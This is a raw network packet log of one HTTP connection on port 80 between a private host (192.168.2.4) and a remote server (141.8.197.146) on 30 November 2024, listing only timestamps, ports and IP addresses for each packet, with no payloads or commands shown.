Nov 30, 2024 05:00:23.872795105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.873666048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.873792887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.873850107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.873883963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.874627113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.874764919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.874811888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.875557899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.875689030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.876514912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.876564980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.876616955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.876660109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.877500057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.877577066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.877973080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.878407001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.878525972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.879384041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.879426956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.879471064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.879512072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.880326033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.880450010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.881246090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.881314993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.881369114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.881413937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.882208109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.882312059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.882361889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.883174896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.883275986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.884118080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.884171009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.884222031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.884268045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.885066032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.885190010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.886004925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.886058092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.886110067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.886152029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.886948109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.887085915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.887147903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.887903929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.888041973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.888856888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.888911963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.888956070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.889002085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.889802933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.889926910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.890748978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.890804052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.890861988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.890907049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.891700983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.891817093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.892664909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.892723083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.892762899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.892807007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.893595934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.893716097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.893997908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.894560099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.894694090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.895500898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.895559072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.895605087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.895651102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.896437883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.896562099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.897380114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.897440910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.928119898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.928177118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.928261995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.928319931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.928369999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.928376913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.929269075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.929388046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.929441929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.930206060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.930296898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.930375099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.931179047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.931231976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.931242943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.932115078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.932230949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.932286978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.933052063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.933114052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.933154106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.933964014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.934201002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.055432081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.055594921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.055732965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.055874109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.056078911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.056185961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.056241989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.057050943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.057112932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.057192087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.057971001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.058054924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.058067083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.058924913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.059062958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.059117079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.059885025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.059938908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.059983969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.060837984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.060937881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.060992956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.061770916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.061856985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.061912060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.062720060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.062841892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.062900066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.063700914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.063755989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.063813925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.064632893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.064749956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.064820051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.065563917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.065619946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.065670967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.066510916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.066607952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.066668987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.067442894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.067521095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.067536116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.068427086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.068588018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.068644047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.069351912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.069416046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.069453001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.070399046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.070456028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.070523977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.071258068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.071317911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.071382046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.072220087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.072263002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.072309971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.073193073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.073239088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.073290110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.074120045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.074210882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.074280977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.075064898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.075081110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.075113058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.076004982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.076112032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.076222897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.076950073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.077074051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.077122927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.077898979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.077948093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.078002930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.078831911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.079092979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.079168081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.079792023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.079847097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.079907894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.080751896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.080842972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.080893993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.081681013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.081731081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.081789970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.082657099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.082757950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.082806110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.083587885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.083633900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.083688974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.084547997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.084712029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.084763050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.085480928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.085525036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.085570097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.086441994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.086524010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.086572886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.087378979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.087426901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.087482929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.088337898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.088455915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.088501930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.089276075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.089324951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.089376926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.090228081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.090341091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.090392113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.091176987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.091231108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.091284037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.092130899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.092215061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.092289925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.093055964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.093101978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.093162060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.094053030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.094161987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.094207048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.094964981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.095092058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.095139980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.095922947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.095969915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.096014023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.096868038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.096966028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.097009897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.097804070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.097851038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.097887039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.098740101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.101933002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.129473925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.129551888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.129653931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.129894018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.130016088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.130443096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.131016970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.131186962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.131789923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.131846905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.131896019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.131942034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.132731915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.132853031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.133697033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.133750916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.133819103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.133867025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.134660959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.134732962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.134788990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.256869078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.257000923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.257222891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.257329941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.257411003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.258027077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.258352041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.258421898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.259258032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.259308100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.259368896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.259413004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.260206938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.260351896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.261138916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.261193037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.261245966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.261287928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.262096882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.262204885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.262258053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.263047934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.263178110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.263819933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.264003038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.264127970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.264323950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.264944077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.265062094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.265109062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.265873909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.265986919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.266035080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.266832113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.266968012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.267025948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.267776012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.267899990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.267950058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.268724918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.268865108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.268917084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.269681931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.269819975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.269968033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.270632029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.270766020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.271588087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.271645069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.271680117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.271724939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.272531033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.272635937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.273061037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.273477077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.273595095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.273699045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.274455070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.274580956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.274638891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.275388956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.275516987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.276325941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.276381016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.276437044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.276479959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.277266026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.277394056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.277983904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.278209925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.278351068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.279164076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.279228926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.279285908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.279333115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.280127048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.280234098 CET	80	49732	141.8.197.146	192.168.2.4
